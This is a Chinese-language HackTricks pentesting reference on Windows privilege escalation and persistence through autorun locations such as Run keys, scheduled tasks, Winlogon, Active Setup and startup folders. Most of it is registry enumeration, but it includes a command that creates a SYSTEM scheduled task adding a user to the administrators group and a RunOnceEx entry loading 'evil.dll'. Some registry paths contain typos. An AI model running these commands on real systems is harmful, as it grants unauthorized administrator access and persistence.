Privilege Escalation with Autoruns

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

漏洞赏金提示注册 Intigriti,这是一家由黑客创建的高级漏洞赏金平台!立即加入我们,访问 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

WMIC

Wmic 可用于在启动时运行程序。查看在启动时编程运行的二进制文件:

wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl

计划任务

任务可以按照特定频率进行调度运行。查看已安排运行的二进制文件:

schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

#Schtask to give admin access
#You can also write that content on a bat file that is being executed by a scheduled task
schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"

文件夹

启动文件夹中的所有二进制文件将在启动时执行。常见的启动文件夹如下所示,但启动文件夹在注册表中有指示。阅读此处以了解位置。

dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

注册表

从这里注释: Wow6432Node 注册表项表示您正在运行 64 位 Windows 版本。操作系统使用此键为在 64 位 Windows 版本上运行的 32 位应用程序显示 HKEY_LOCAL_MACHINE\SOFTWARE 的单独视图。

运行

常见的 AutoRun 注册表:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx

被称为 RunRunOnce 的注册表键旨在每次用户登录系统时自动执行程序。作为键数据值分配的命令行限制为 260 个字符或更少。

服务运行 (可以控制系统启动时服务的自动启动):

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices

RunOnceEx:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

  • HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx

在 Windows Vista 及更高版本中,RunRunOnce 注册表键不会自动生成。这些键中的条目可以直接启动程序或将它们指定为依赖项。例如,要在登录时加载 DLL 文件,可以使用 RunOnceEx 注册表键以及一个 "Depend" 键。通过添加一个注册表项来在系统启动时执行 "C:\temp\evil.dll" 来演示这一点:

reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"

Exploit 1:如果您可以在HKLM中的任何提到的注册表中写入内容,则可以在不同用户登录时提升权限。

Exploit 2:如果您可以覆盖HKLM中任何注册表中指定的任何二进制文件,则可以在不同用户登录时修改该二进制文件并提升权限。

#CMD
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Wow5432Node\Microsoft\Windows\CurrentVersion\RunServices

reg query HKLM\Software\Microsoft\Windows\RunOnceEx
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
reg query HKCU\Software\Microsoft\Windows\RunOnceEx
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx

#PowerShell
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE'

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'

启动路径

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

放置在启动文件夹中的快捷方式将在用户登录或系统重新启动期间自动触发服务或应用程序的启动。启动文件夹的位置在注册表中为本地计算机当前用户范围定义。这意味着添加到这些指定启动位置的任何快捷方式都将确保链接的服务或程序在登录或重新启动过程后启动,这是一种安排程序自动运行的简单方法。

如果您可以覆盖HKLM下的任何[User] Shell Folder,您将能够将其指向您控制的文件夹,并放置一个后门,每当用户登录系统时都会执行,从而提升权限。

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"

Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"

Winlogon Keys

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

通常,Userinit 键被设置为 userinit.exe。但是,如果修改了此键,则指定的可执行文件也将由 Winlogon 在用户登录时启动。同样,Shell 键旨在指向 explorer.exe,这是 Windows 的默认 shell。

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"

如果您可以覆盖注册表值或二进制文件,则可以提升权限。

策略设置

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

检查 Run 键。

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"

AlternateShell

更改安全模式命令提示符

在Windows注册表中的 HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot 下,默认设置了一个名为 AlternateShell 的数值,其数值为 cmd.exe。这意味着当您在启动时选择“带命令提示符的安全模式”(按 F8 键),将使用 cmd.exe。但是,可以设置计算机自动启动到此模式,而无需按 F8 并手动选择它。

创建一个用于自动启动“带命令提示符的安全模式”的引导选项的步骤:

  1. 更改 boot.ini 文件的属性,以移除只读、系统和隐藏标志:attrib c:\boot.ini -r -s -h

  2. 打开 boot.ini 进行编辑。

  3. 插入一行类似于:multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)

  4. 保存更改到 boot.ini

  5. 重新应用原始文件属性:attrib c:\boot.ini +r +s +h

  • Exploit 1: 更改 AlternateShell 注册表键允许设置自定义命令 shell,可能用于未经授权的访问。

  • Exploit 2 (PATH 写入权限): 对系统 PATH 变量的任何部分具有写入权限,特别是在 C:\Windows\system32 之前,可以执行自定义的 cmd.exe,如果系统在安全模式下启动,则可能成为后门。

  • Exploit 3 (PATH 和 boot.ini 写入权限):boot.ini 的写入访问权限使安全模式自动启动,从而在下次重启时促进未经授权的访问。

要检查当前的 AlternateShell 设置,请使用以下命令:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'

已安装组件

Active Setup 是 Windows 中的一个功能,在桌面环境完全加载之前启动。它优先执行某些命令,这些命令必须在用户登录继续之前完成。这个过程甚至发生在其他启动条目之前,比如在 Run 或 RunOnce 注册表部分触发的条目。

Active Setup 通过以下注册表键进行管理:

  • HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

  • HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components

  • HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

在这些键中,存在各种子键,每个对应一个特定的组件。特别感兴趣的键值包括:

  • IsInstalled:

    • 0 表示组件的命令不会执行。

    • 1 表示命令将为每个用户执行一次,这是默认行为,如果缺少 IsInstalled 值。

  • StubPath: 定义由 Active Setup 执行的命令。它可以是任何有效的命令行,比如启动 notepad

安全洞察:

  • 修改或写入 IsInstalled 设置为 "1" 的键,具有特定 StubPath 的键可能导致未经授权的命令执行,潜在地用于特权升级。

  • 修改任何 StubPath 值中引用的二进制文件也可能实现特权升级,如果有足够的权限。

要检查 Active Setup 组件中的 StubPath 配置,可以使用以下命令:

reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath

浏览器辅助对象

浏览器辅助对象(BHOs)概述

浏览器辅助对象(BHOs)是DLL模块,可为微软的Internet Explorer添加额外功能。它们在每次启动时加载到Internet Explorer和Windows Explorer中。然而,通过将NoExplorer键设置为1,可以阻止它们在Windows Explorer实例中加载,从而阻止它们执行。

BHOs通过Internet Explorer 11与Windows 10兼容,但不支持Microsoft Edge,这是较新版本Windows中的默认浏览器。

要查看系统上注册的BHOs,可以检查以下注册表键:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

每个BHO在注册表中由其CLSID表示,作为唯一标识符。有关每个CLSID的详细信息可以在HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}下找到。

要查询注册表中的BHOs,可以使用以下命令:

reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s

Internet Explorer Extensions

  • HKLM\Software\Microsoft\Internet Explorer\Extensions

  • HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions

请注意,注册表中将包含每个dll的1个新注册表,并且将由 CLSID 表示。您可以在 HKLM\SOFTWARE\Classes\CLSID\{<CLSID>} 中找到 CLSID 信息。

Font Drivers

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers

  • HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers"
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers'
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers'

打开命令

  • HKLM\SOFTWARE\Classes\htmlfile\shell\open\command

  • HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command

reg query "HKLM\SOFTWARE\Classes\htmlfile\shell\open\command" /v ""
reg query "HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command" /v ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\command' -Name ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name ""

图像文件执行选项

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options

SysInternals

请注意,您可以找到自动运行的所有站点都已经被winpeas.exe搜索过。但是,为了获得更全面的自动执行文件列表,您可以使用systinternals的autoruns

autorunsc.exe -m -nobanner -a * -ct /accepteula

更多

查找更多类似注册表的自动运行程序,请访问 https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2

参考资料

漏洞悬赏提示注册 Intigriti,一个由黑客创建的高级漏洞悬赏平台!立即加入我们,访问 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的悬赏!

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持 HackTricks 的其他方式:

最后更新于